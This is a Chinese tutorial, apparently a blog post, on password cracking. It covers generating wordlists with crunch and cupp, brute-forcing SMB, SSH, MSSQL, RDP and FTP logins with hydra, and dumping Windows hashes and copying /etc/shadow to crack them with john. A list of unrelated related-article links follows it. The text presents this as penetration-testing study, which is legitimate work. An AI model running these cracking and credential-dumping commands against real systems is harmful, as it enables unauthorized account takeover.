目录

  • 1 口令安全威胁
    • 1.1 口令安全概述
    • 1.2 口令安全现状
      • 1.2.1 弱口令
      • 1.2.2 默认口令
      • 1.2.3 明文传输
  • 2 口令破解
    • 2.1 暴力破解
    • 2.2 字典破解
      • 2.2.1 弱口令字典
      • 2.2.2 社工字典
      • 2.2.3 字符集字典
        • crunch的**用法**如下:
        • crunch生成密码字典实例:
        • 简单介绍字典
  • 3 远程破解工具hydra
  • 4 Windows口令破解
    • 4.1 windows口令远程破解
    • 4.2 windows口令本地破解(当入侵主机时才能采用此方法)
  • 5 linux 口令破解
    • 5.1 远程破解ssh 服务
    • 5.2 本地shadow 文件破解
  • 6 网络服务口令破解
  • 参考文章

1 口令安全威胁

1.1 口令安全概述

现在很多地方以用户名(账户)和口令(密码)作为鉴权的方式,口令(密码)就意味着访问权限。例如网站后台、数据库、服务器、个人电脑、QQ、邮箱等等。

1.2 口令安全现状

1.2.1 弱口令

类似123456、654321、admin123 等这些常见的弱密码

1.2.2 默认口令

很多应用或者系统存在默认口令。比如phpstudy 的mysql 数据库默认账密[root/root], Tomcat 管理控制台默认账密[tomcat/tomcat] 等。平时注意收集默认口令。

1.2.3 明文传输

比如HTTP|FTP|TELNET等服务,在网络中传输的数据流都是明文的,包括口令认证信息等。这样的服务,有嗅探的风险。

2 口令破解

《第20节 简单密码破解—基于windows系统》基于windows系统介绍了简单密码破解,本文是在该文的基础上介绍得更加详细。

2.1 暴力破解

暴力破解就是利用所有可能的字符组密码,去尝试破解。这是最原始,粗暴的破解方法,根据运算能力,如果能够承受的起时间成本的话,最终会爆破出密码。下表根据不同的位数生成密码的空间大小

字符集 密码位数 密码空间
[0-9] 8 位 10^8=100000000
[0-9][a-z] 8位 36^8=2821109907456
[0-9][a-z] 1-8位 ??

生成字典工具:crunch(kali自带)

crunch 1 8 0123456789abcdefghijklmnopqrstuvwxyz
#密码最短1位,最长8位,字符集为0123456789abcdefghijklmnopqrstuvwxyz

2.2 字典破解

如果 能通过比较合理的条件,删选或者滤掉一些全字符组合内容,就会打幅度降低爆破的成本。我们把筛选出来的密码组成特定的字典。用字典爆破密码也是可以的,但是这样可能会漏掉真正的密码。

密码字典大致分为以下几大类

2.2.1 弱口令字典

比如123456,admin 等这样的默认口令或弱口令

2.2.2 社工字典

人在设置密码的时候,往往为了便于记忆,密码的内容和组合会与个人信息有关,比如常见的密码组合“名字+生日”
[zhangsan1992]

社工字典更具针对性,准确率也比较高。

我们可以根据个人信息生成密码字典。可以使用cupp工具,但是cupp工具 是国外人开发的。常用的还有中国开发的亦思社会工程学字典生成器等。以下为在kali上安装cupp工具并使用。

apt-get update      #更新软件列表apt-get install cuppcupp -i



假如有这样一个目标的信息:[zhangsan|ajest|19920701|dnsec|123],利用cupp生成密码字典过程如下:

2.2.3 字符集字典

如果能确定密码的字符集合,也将大大降低爆破的成本。字符集字典常见的比如真空密码字典生成器和crunch(kali自带)。

crunch:是一种创建密码字典的工具,按照指定的规则生成密码字典,可以灵活的定制自己的字典文件。

使用crunch 工具生成的密码可以输出到屏幕,保存文件或另一个程序。尤其是渗透测试需要爆破的时候,字典的编排等直接影响到我们的爆破速度,对整个渗透测试流程起着十分重要的作用。

crunch的用法如下:

(1)查看帮助man crunch > crunch.help

(2)命令格式crunch min-len max-len [charset string] [options]

(3)参数说明

  • min-len:设定密码的最小长度
  • max-len,设定密码的最大长度
  • charset string,字符集

(4)oprions

  • -b:指定文件输出的大小,避免字典文件过大
  • -c:指定文件输出的行数,记包含密码的个数
  • -d:限制相同元素出现的次数
  • -e:定义停止字符,即到该字符串就停止生成
  • -f:调用库文件(/usr/share/crunch/charset.lst)
  • -i:改变输出格式,即aaa,aab -> aaa,baa
  • -o:将密码保存到指定文件
  • -q:读取密码文件,即读取pass.txt
  • -r:定义重复一个字符串就重新开始
  • -s:指定一个开始的字符
  • -t:指定密码输出的格式
  • -u:禁止打印百分比
  • -z:压缩生成的字典文件,支持gzip,bzip2,lzma,7z
  • -l:生成特殊字符
  • -p:指定生成元素

(5)查看库文件cat /usr/share/crunch/charset.lst.字符集支持自定义。

(6)特殊字符

  • %:代表数字
  • ^:代表特殊符号
  • @:代表小写字母
  • ,:代表大写字母

crunch生成密码字典实例:

(1)生成1-8位密码字典,字符集合位小写字母,从a 开始到zzzzzzzz结束

crunch 1 8

(2)生成1-6位的密码字典,字符集合位[abcdefg],从a 开始到gggggg结束

crunch 1 6 abcdefg

(3)生成3 位密码字典,字符集合[ab ],从a 开始到b结束

 crunch 3 3 ab

(4)生成指定字符串,比如生日的日期

crunch 8  8 -t 199307%% -e 19930731
#-t:指定密码输出的格式
#-e:定义停止字符,即到该字符串就停止生成

(5)生成元素的组合,比如123.com

crunch 7 7 -t %%%.com -s 111.com -e 123.com
#-t:指定密码输出的格式
#-s:指定一个开始的字符
#-e:定义停止字符,即到该字符串就停止生成

(6)在字典中输出特殊字符

crunch 3 3 abc -t @@@ -l @aa
#-t:指定密码输出的格式
#-l:生成特殊字符

(7)以元素组合生成字典

zhangsan|1993|0701
crunch 4 4 -p AJEST 1992 0701
# -p:指定生成元素

(8)保存字典文件

crunch 11 11 -t 1700010%%%% -b 20mb -o START
# -b:指定文件输出的大小,避免字典文件过大
#-o:将密码保存到指定文件

自定义库文件中的字符集合,并创建自定义字符集合[*.com] 字典文件

#自定义库文件中的字符集合
vim /usr/share/crunch/charset.lst
test=[123]crunch 5 5 -f charset.lst test -t @.com
#-f:调用库文件(/usr/share/crunch/charset.lst)

简单介绍字典

平时多注意收集以下字典
(1)子域名字典

(2)默认账号密码字典

(3)弱口令字典

(4)文件路径字典

  • 日志文件
  • Web 目录

(5)常用变量名字典

(6)常用文件名字典

3 远程破解工具hydra

进行口令破解时,有以下几种情况:
(1)用户名未知,密码未知
(2)用户名已知,密码未知
(3)用户名未知,密码已知

hydra为kali自带,其常用的参数如下:
hydra参数

(1)-l:指定一个用户名

(2)-L:指定用户名字典

(3)-p:指定一个密码

(4)-P:指定密码字典

(5)-vV:显示爆破细节

(6)-o:保存爆破结果

(7)-f:找到正确的密码就停止爆破

(8)-t:线程

(9)-e

  • n:null,用空密码去尝试
  • s:same,与用户名一致
  • r:反向,与用户名反向

4 Windows口令破解

4.1 windows口令远程破解

破解前需要先准备用户字典和密码字典,

使用hydra工具进行密码破解

hydra -l administrator -P ../dic/winPass.txt 192.168.1.200 smb -e nsr

4.2 windows口令本地破解(当入侵主机时才能采用此方法)

除了可以远程爆破windows密码,我们还可以从本地破解windows密码。

本地Windows 账户破解主要有两种方式

(1)从内存中读取windows 密码

我们可以用getpass 直接从Windows 系统内存中读取用户数据

(2) Windows hash 值破解

Windows hash 值破解一共有两步操作。如下所示,或者还可参考《第20节 简单密码破解—基于windows系统》

  • 首先我们使用QuarkPwDump 工具读取(导出)Windows 账户密码hash 值,
C:\Users\Administrator\Desktop\QuarksPwDump.exe -dhl -t JOHN -o win2k8.hash
-o为保存文本
  • 然后在使用 john 工具(kali自带)破解。可以将Windows 主机的win2k8.hash内容复制到kali虚拟机中的win2k8.hash文件中
#--format指定格式
#--wordlist指定密码字典,不指定字典也会进行爆破,但是特别慢
#字典写绝对路径,爆破时字典建议都写绝对路径,避免出错
john win2k8.hash --format=NT --wordlist=/root/dic/winPass.dic查看之前爆破的结果
john win2k8.hash --show --format=NT

5 linux 口令破解

linux 口令破解,也分远程破解和和本地破解

远程破解主要是爆破ssh 服务,属于在线密码攻击

本地破解需要拿到linux 的shadow 文件,进行hash 值破解,属于离线密码攻击

5.1 远程破解ssh 服务

我们使用hydra 攻击破解ssh 服务,hydra 攻击已经自动集成在kali 虚拟机中。

命令如下:

hydra -l root -P /root/hydra/dic/winPass.txt 192.168.1.150 ssh
hydra -L /root/hydra/dic/user.txt -P /root/hydra/dic/winPass.txt 127.0.0.1 ssh -e nsr -vV -o 127.ssh

5.2 本地shadow 文件破解

我们可以使用john 工具,破解shadow 密码文件。john 也是自动集成在kali 中。john 破解的时候也需要准备一个字典。

cp /etc/shadom ./shadom  #将shadom复制到当前目录中
john shadow                 #爆破
john shadow --show          #查看爆破结果

6 网络服务口令破解

在渗透测试中,我们同样会对服务的口令进行审计

·破解MSSQL 口令

hydra -l sa -P /root/dic/test_pwd.dic 192.168.1.10 mssql -vV

·破解RDP 口令

hydra -l administrator -P /root/dic/test_pwd.dic 192.168.1.10 rdp -vV

·破解FTP 口令

hydra -L /root/dic/test_user.dic -P /root/dic/test_pwd.dic 192.168.1.10 ftp -vV

参考文章

[1] 《[网络安全学习篇53]:口令破解》
[2] 视频传送门

【口令破解】远程口令破解和本地口令破解(crunch 字典工具和hydra工具)相关推荐

  1. 破解 Ashley Madison 1100万个口令

    本文讲的是 破解 Ashley Madison 1100万个口令,一组口令破解的爱好者在 Ashley Madison 被泄露出的网站源代码中发现,其处理口令的方式存在严重问题,他们利用这个编程失误, ...

  2. 破解加密文档以及宏口令

    破解加密文档以及宏口令 实验目的 根据提示,破解加密文档,获取其中加密的宏,再破解宏后,获得压缩包解压密码,进而解压 压缩包 破解加密word 破解word,我用的是Advanced Office P ...

  3. C语言口令,某一本地口令验证函数(c语言环境,x86_32指令集)包含如下关键代码:某用户的口令保存在字符数组origpassw...

    某一本地口令验证函数(c语言环境,x86_32指令集)包含如下关键代码:某用户的口令保存在字符数组origpassw 来源:信管网 2017年04月16日 [所有评论] 隐形人(cnitpm.com) ...

  4. 计算机口令管理,农村信用社联合社计算机账户与口令管理办法

    <农村信用社联合社计算机账户与口令管理办法>由会员分享,可在线阅读,更多相关<农村信用社联合社计算机账户与口令管理办法(3页珍藏版)>请在人人文库网上搜索. 1.农村信用社联合 ...

  5. Mac 搭建一个本地JRebel破解服务器

    Mac 搭建一个本地JRebel破解服务器:https://blog.csdn.net/jesse919/article/details/80967471

  6. 自动复制吱口令html,js随机复制多吱口令代码

    最近抖音出了个口令红包,类似以前的支付宝吱口令,以前有分享过自动复制口令的代码,今天在分享一个多口令自动随机复制的代码. var arr11 = ["第一个口令","第二 ...

  7. php完美实现下载远程图片保存到本地(保存微信头像)

    2019独角兽企业重金招聘Python工程师标准>>> /** * php完美实现下载远程图片保存到本地 * @param: 文件url,保存文件目录,保存文件名称,使用的下载方式 ...

  8. php 远程下载图片到本地

    大家好,从今天开始,小弟开始写写博客,把自己在工作中碰到的问题的解决方法纪录下来,方便以后查找,也给予别人方便,小弟不才,第一次写博客,有什么不足之处请指出,谢谢! 今天纪录的是怎么通过PHP远程把图 ...

  9. git拉取远程分支并创建本地分支

    一.查看远程分支 使用如下git命令查看所有远程分支: git branch -r 1 二.拉取远程分支并创建本地分支 方法一 使用如下命令: git checkout -b 本地分支名x origi ...

  10. 获取远程服务器代码到本地文件,获取远程服务器代码到本地文件

    获取远程服务器代码到本地文件 内容精选 换一换 远程桌面协议(Remote Desktop Protocol,RDP),是微软提供的多通道的远程登录协议.本节为您介绍如何使用RDP文件远程登录Wind ...

最新文章

  1. Android AlarmManager 使用指南
  2. java 实现set_js 实现JAVASET
  3. 跟着MJExtension实现简单的字典转模型框架 - 简书
  4. RealNVP与Glow:流模型的传承与升华
  5. php获取推特feed twitter timeline feed
  6. 查看电脑boot mode方式
  7. C和C++的互相调用【原创】
  8. 红外遥控c语言,NEC协议红外遥控器
  9. [转载] python里字典的用法_python中字典(Dictionary)用法实例详解
  10. js基础知识汇总13
  11. 设计模式之GOF23外观模式
  12. Maya批量随机替代插件BatchReplacerV1.0.2 下载及教程
  13. CAD迷你看图V9.5版
  14. 【转】基于知识图谱的推荐系统(KGRS)综述
  15. New Windows Vista Includes ActiveSync
  16. Visio安装失败 无法打开注册表项 解决方案
  17. 零基础可以学计算机编程吗,计算机编程好学吗,零基础小白可以吗,入门应该先学什么?...
  18. 软件加入使用时间_【安卓】换了这么多影视软件,还是这个老牌站点最靠谱
  19. 14宽的键槽深度多少_平键和键槽的标准尺寸规格表
  20. BUCT数据结构——图

热门文章

  1. 社工库mysql_社工库源码大全(转载)
  2. 【基于 RT-Thread Studio的CPK-RA6M4 开发板环境搭建】
  3. matlab 各版本下载地址
  4. 2055D打印机打印报错
  5. 地理信息地图标记KML与KMZ的区别
  6. 读JavaScript高级程序设计感受
  7. cs231n学习记录
  8. python 代码行数统计工具_Python实现一个代码行数统计工具
  9. 关于公众号文章搜索,有两个小技巧
  10. 服务器远程预览本地设备视频, 预览多个,打不开视频流